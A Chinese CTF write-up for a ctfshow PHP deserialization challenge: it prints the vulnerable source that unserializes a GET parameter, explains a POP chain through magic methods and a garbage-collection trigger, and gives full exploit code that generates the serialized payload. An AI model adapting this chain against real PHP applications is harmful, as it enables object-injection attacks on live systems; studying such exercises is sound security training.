题目源码
<?php
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
这里主要是讲一下在构造pop链里的一些问题,除此之外还要用到GC回收机制,在大佬的博客里已经讲的很清楚了,这里我就不在班门弄斧了,直接上传送门传送门
构造pop链
首先过一下每个类的函数,推测一下作用;
触发one:destruct()->second:call()
$a=new one();
$c=new second();
$a->object=$c;
触发second:addMe()->one:toString()
$b=new one();
$c->filename=$b;
触发third:get()->one:MeMeMe()
$d=new third();
$b->object=$d;
触发GC回收机制
$n=null;
$payload=array($a,$n);
完整pop链
<?php
highlight_file(__FILE__);
class one {
public $object;
public $year_parm=array(0=>"Happy_func");
}
class second {
public $filename;
}
class third {
private $string;
public function __construct()
{
$this->string=array("string"=>[new one(),"MeMeMe"]);
}
}
$a=new one();
$c=new second();
$a->object=$c;
$b=new one();
$c->filename=$b;
$d=new third();
$b->object=$d;
$n=null;
$payload=array($a,$n);
echo urlencode(serialize($payload));
当然最后对序列化后字符串的处理以及通过get()如何调用到one:MeMeMe()的方法在前面我给的大佬的博客里已经说的很清楚了,这里也不做过多的解释了。
|